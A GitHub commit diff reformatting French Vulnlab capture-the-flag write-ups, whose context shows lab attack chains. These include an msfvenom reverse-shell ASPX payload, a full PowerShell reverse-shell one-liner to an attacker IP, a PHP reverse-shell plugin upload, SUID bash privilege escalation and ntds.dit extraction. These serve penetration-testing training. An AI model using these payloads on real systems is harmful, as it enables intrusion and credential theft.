Skip to content

Commit

Permalink
normalize
Browse files Browse the repository at this point in the history
  • Loading branch information
didntchooseaname committed Sep 25, 2024
1 parent 67dd568 commit 9365cd1
Show file tree
Hide file tree
Showing 9 changed files with 162 additions and 77 deletions.
2 changes: 1 addition & 1 deletion src/content/docs/events/talks.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -55,7 +55,7 @@ accueillir parmi nous ! [Rejoindre le Discord](https://discord.gg/hacking-france
<div class="content-wrapper">
<Badge text="TERMINÉ" variant="success" size="medium" />
Talk avec Laluka, chercheur de vulnérabilités, pentester, redteamer, et créateur de la distribution de sécurité offensive 'Lalubuntu'. Il présentera cette distribution et répondra aux questions des participants.
[Sa chaine Twitch](https://www.youtube.com/embed/xSmuPUJd9hg?si=2Xg55mrFBLpQ7204)
[Sa chaine Twitch](https://www.twitch.tv/thelaluka)
</div>
</SplitCard>

Expand Down
34 changes: 24 additions & 10 deletions src/content/docs/writeup/vulnlab/baby-easy.mdx
Original file line number Diff line number Diff line change
@@ -1,23 +1,31 @@
---
title: Baby - Easy
description: WU baby - Easy
title: Baby
description: WU baby
categories: [Writeup]
tags: [writeup]
template: doc
sidebar:
order: 1
badge:
text: 'easy'
variant: success
---
Date : 2024-09-10 11:04

import { Image } from 'astro:assets';
import banner from '../../../../assets/writeup/vulnlab/banner.jpeg';

<Image src={banner} alt="banner" format="avif" quality={"mid"}/>

## 🔭 Périmètre
```
IP: 10.10.124.47
OS: Windows
Domaine: baby.vl
```

| OS | Difficulty | Target |
|----|----|----|
| Windows | <span style="color:green">**EASY**</span> | 10.10.124.47 |

## 🔍 Récupération d'informations

### PortScan


```shell wrap
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
Expand Down Expand Up @@ -106,10 +114,12 @@ crackmapexec smb 10.10.124.47 -u Teresa.Bell -p 'B<retracted>!' --no-bruteforce
SMB 10.10.124.47 445 BABYDC [*] Windows 10.0 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB 10.10.124.47 445 BABYDC [-] baby.vl\Teresa.Bell:B<retracted>! STATUS_LOGON_FAILURE
```

La session teresa.bell a changé de mot de passe. Il faut trouver quel utilisateur n'a pas encore servi.
En retournant sur le `ldap` on peut voir que Caroline.Robinson n'a aucun attribut `sAMAccountName`.

Testons via `smbpasswd`:

```shell wrap
smbpasswd -U caroline.robinson -r 10.10.124.47
Old SMB password:
Expand Down Expand Up @@ -183,12 +193,14 @@ VL{<retracted>}

Pour escalader les privilèges, j'ai suivi cet [article](https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/).
En créant un script:

```shell wrap
set context persistent nowriters
add volume c: alias hip5kull
create
expose %hip5kull% z:
```

Une fois enregistrer, j'exécute la commande `unix2dos script.dsh` pour convertir le script puis le l'upload sur la target:

```shell wrap
Expand Down Expand Up @@ -245,12 +257,14 @@ The shadow copy was successfully exposed as z:\.
```
Une fois le script correctement exécuter nous pouvons récupérer les fichiers `ntds` et `system`:
```shell wrap
*Evil-WinRM* PS C:\Temp> robocopy \B Z:\Windows\NTDS . ntds.dit
*Evil-WinRM* PS C:\Temp> reg save hklm\system c:\Temp\system
*Evil-WinRM* PS C:\Temp> download ntds.dit
*Evil-WinRM* PS C:\Temp> download system
```
Les fichiers `ntds.dit` et `system` nous permettent d'obtenir les hashes des utilisateurs:
```shell wrap
Expand Down Expand Up @@ -340,4 +354,4 @@ Info: Establishing connection to remote endpoint
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/21/2021 3:22 PM 36 root.txt
```
```
23 changes: 15 additions & 8 deletions src/content/docs/writeup/vulnlab/baby2-Medium.mdx
Original file line number Diff line number Diff line change
@@ -1,19 +1,26 @@
---
title: baby2 - Médium
description: WU baby2 - Médium
title: baby2
description: WU baby2
categories: [Writeup]
tags: [writeup]
template: doc
sidebar:
order: 7
badge:
text: 'medium'
variant: caution
---
Date : 2024-04-14 11:41

import { Image } from 'astro:assets';
import banner from '../../../../assets/writeup/vulnlab/banner.jpeg';

<Image src={banner} alt="banner" format="avif" quality={"mid"}/>

## 🔭 Périmètre

```txt
IP : 10.10.66.25
OS : windows
Domaine : baby2.vln
```
| OS | Difficulty | Target |
|----|----|----|
| Windows | <span style="color:orange">**EASY**</span> | 10.10.66.25 |

## 🔍 Récupération d'informations

Expand Down
20 changes: 12 additions & 8 deletions src/content/docs/writeup/vulnlab/bamboo.mdx
Original file line number Diff line number Diff line change
@@ -1,9 +1,14 @@
---
title: bamboo - Medium
description: WU bamboo - Medium
title: bamboo
description: WU bamboo
categories: [Writeup]
tags: [writeup]
template: doc
sidebar:
order: 8
badge:
text: 'medium'
variant: caution
---

import { Steps } from '@astrojs/starlight/components';
Expand All @@ -18,15 +23,15 @@ import bamboo8 from '../../../../assets/writeup/vulnlab/bamboo/bamboo08.png';
import bamboo9 from '../../../../assets/writeup/vulnlab/bamboo/bamboo09.png';

## 🔭 Périmètre
```
IP: 10.10.75.228
OS: Linux
```

| OS | Difficulty | Target |
|----|----|----|
| Linux | <span style="color:green">**EASY**</span> | 10.10.75.228 |

## 🔍 Récupération d'informations

### PortScan


```shell wrap
nmap -open 10.10.75.228
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-19 14:23 CEST
Expand All @@ -53,7 +58,6 @@ Nmap done: 1 IP address (1 host up) scanned in 7.60 seconds
Raw packets sent: 4 (176B) | Rcvd: 0 (0B)
```


### Paper-NG abuse

Nous accédons à `squid`.
Expand Down
32 changes: 26 additions & 6 deletions src/content/docs/writeup/vulnlab/forgotten-easy.mdx
Original file line number Diff line number Diff line change
@@ -1,9 +1,14 @@
---
title: Forgotten - Easy
description: WU forgotten - Easy
title: Forgotten
description: WU forgotten
categories: [Writeup]
tags: [writeup]
template: doc
sidebar:
order: 2
badge:
text: 'easy'
variant: success
---
import { Image } from 'astro:assets';
import banner from '../../../../assets/writeup/vulnlab/banner.jpeg';
Expand All @@ -13,12 +18,14 @@ import limesurveypanel from '../../../../assets/writeup/vulnlab/forgotten/limesu

## 🔭 Périmètre

IP: 10.10.79.178
OS: Linux
| OS | Difficulty | Target |
|----|----|----|
| Linux | <span style="color:green">**EASY**</span> | 10.10.79.178 |

## 🔍 Récupération d'informations

### PortScan

```shell
[Sep 13, 2024 - 16:02:10 (CEST)] exegol-Vulnlab /workspace # nmap -sC -sV 10.10.79.178
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-13 16:02 CEST
Expand Down Expand Up @@ -64,6 +71,7 @@ Progress: 20476 / 20477 (100.00%)
Finished
===============================================================
```

En se rendant sur la page `/survey`, nous devons configurer et installer "LimeSurvey", nous ne pouvons pas créer directement de bases de données via cette page.
Création de la base de données en local avec le script suivant:

Expand Down Expand Up @@ -118,7 +126,6 @@ check_success "Firewall configuration"
echo "Installation and configuration completed successfully!"
```


Configuration du panel administrateur:

<Image src={limesurveypanel} alt="banner" format="avif" quality={"mid"}/>
Expand Down Expand Up @@ -150,12 +157,15 @@ J'ai créé un fichier config.xml pour pouvoir uploader un reverse shell php. Le
</updaters>
</config>
```

```shell
[Sep 13, 2024 - 17:03:48 (CEST)] exegol-Vulnlab /workspace# nc -lvnp 4041
```

J'essai ensuite d'obtenir un reverse shell en me rendant sur le lien du plugins:

http://forgotten.vl/survey/upload/plugins/RevShell/revshell.php
http://forgotten.vl/survey/upload/plugins/RevShell/revshell.php

```shell
[Sep 13, 2024 - 17:03:48 (CEST)] exegol-Vulnlab /workspace# nc -lvnp 4041
Ncat: Version 7.93 ( https://nmap.org/ncat )
Expand Down Expand Up @@ -195,7 +205,9 @@ drwxrwxrwt 1 root root 4096 Sep 13 15:02 tmp
drwxr-xr-x 1 root root 4096 Nov 20 2023 usr
drwxr-xr-x 1 root root 4096 Nov 21 2023 var
```
En listant, je m'aperçois que je suis dans un conteneur Docker.

```shell
$ env
APACHE_CONFDIR=/etc/apache2
Expand Down Expand Up @@ -224,7 +236,9 @@ PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-confi
PHP_SHA256=216ab305737a5d392107112d618a755dc5df42058226f1670e9db90e77d777d9
APACHE_ENVVARS=/etc/apache2/envvars
```

Le mot de passe du user limesvc est en clair dans les variables d'environnements. Voyons si on peut se connecter en ssh.
```shell
[Sep 13, 2024 - 16:21:04 (CEST)] exegol-Vulnlab /workspace # ssh [email protected]
The authenticity of host 'forgotten.vl (10.10.79.178)' can't be established.
Expand Down Expand Up @@ -267,7 +281,9 @@ limesvc@ip-10-10-200-233:~$ ls
user.txt
limesvc@ip-10-10-200-233:~$ cat user.txt
```

Que faire maintenant ? `limesvc` ne peut rien faire de plus, je retourne sur le conteneur je ne vois rien avec le revshell que j'ai. Je regarde si je peux obtenir un autre shell:

```shell
$ script -q /dev/null -c bash
limesvc@efaa6f5097ed:/$ sudo su
Expand All @@ -287,14 +303,18 @@ cd /root
root@efaa6f5097ed:~# ls
ls
```

Je me place dans le dossier `/var/www/html/survey` et fais une copie de `/bin/bash` en le renommant ./skull

```shell
root@efaa6f5097ed:~# cd /var/www/html/survey
cd /var/www/html/survey
root@efaa6f5097ed:/var/www/html/survey# cp /bin/bash ./skull
cp /bin/bash ./pwned
```

J'attribue les droits de superutilisateur au binaire et retourne sur la connexion ssh de `limesvc`:

```shell
root@efaa6f5097ed:/var/www/html/survey# chmod u+s ./skull
chmod u+s ./pwned
Expand Down
24 changes: 15 additions & 9 deletions src/content/docs/writeup/vulnlab/lock-easy.mdx
Original file line number Diff line number Diff line change
@@ -1,25 +1,27 @@
---
title: Lock - Easy
description: WU Lock - Easy
title: Lock
description: WU Lock
categories: [Writeup]
tags: [writeup]
template: doc
sidebar:
order: 3
badge:
text: 'easy'
variant: success
---

import { Image } from 'astro:assets';
import banner from '../../../../assets/writeup/vulnlab/banner.jpeg';

<Image src={banner} alt="banner" format="avif" quality={"mid"}/>


# LOCK


| OS | Difficulty | Target |
|----|----|----|
| Windows | <span style="color:green">**EASY**</span> | 10.10.92.237 |



# 🔭 Enumeration

### PortScan
Expand All @@ -31,6 +33,7 @@ PORT STATE SERVICE
3000/tcp open ppp
3389/tcp open ms-wbt-server
```

Scan approfondit des ports trouvés:

```
Expand Down Expand Up @@ -87,6 +90,7 @@ PORT STATE SERVICE VERSION
| Product_Version: 10.0.20348
|_ System_Time: 2024-09-14T21:34:32+00:00
```

| PORT | PROTOCOL |
|----|----|
| 80 | HTTP |
Expand Down Expand Up @@ -137,6 +141,7 @@ CI/CD integration is now active - changes to the repository will automatically b
```

Création d'un reverse shell avec un fichier `.aspx` puis push vers le dépôt ou en utilisant [ce script](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmd.aspx)

```sh
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.3.147 LPORT=4444 -f aspx -o web.aspx
git config --global user.name ellen.freeman
Expand All @@ -157,7 +162,9 @@ Sur le lien de la page, je saisis la commande:
```cmd
/c powershell.exe -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.8.3.147',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```

On obtient notre reverse shell, en fouillant dans les répertoires de `ellen.freeman` on trouve un fichier `config.xml`.

```powershell
PS C:\Users\ellen.freeman\Documents> cat config.xml
<?xml version="1.0" encoding="utf-8"?>
Expand All @@ -168,7 +175,7 @@ PS C:\Users\ellen.freeman\Documents> cat config.xml

Le fichier `config.xml` est un fichier pour RemoteNG. J'utilise le script de ce [dépôt](https://github.com/gquere/mRemoteNG_password_decrypt) pour déchiffrer les informations présentes.

```sh
```sh wrap
python3 rng-decrypt.py config.xml
Name: RDP/Gale
Hostname: Lock
Expand All @@ -181,7 +188,6 @@ Connectons-nous en RDP.

Le flag user est présent sur le Bureau.


# 🎯 Privilege Escalation

A partir de la session de Gale.Dekarios, nous pouvons voir que le logiciel PDF24 est présent. En regardant les détails du programme, la version est la 11.15.1 dont un exploit permet de PrivEsc.
Expand All @@ -196,4 +202,4 @@ Le lien ci-contre nous indique la [marche à suivre](https://packetstormsecurity
- Sélectionner Firefox, puis `CTRL+O`pour ouvrir `cmd.exe`à partir de Firefox.
- Contrôler qui nous sommes avec la commande `whoami /all`

Vous êtes administrateur, vous pouvez obtenir le flag `root.txt`dans le Desktop d'Administrator.
Vous êtes administrateur, vous pouvez obtenir le flag `root.txt`dans le Desktop d'Administrator.
Loading

0 comments on commit 9365cd1

Please sign in to comment.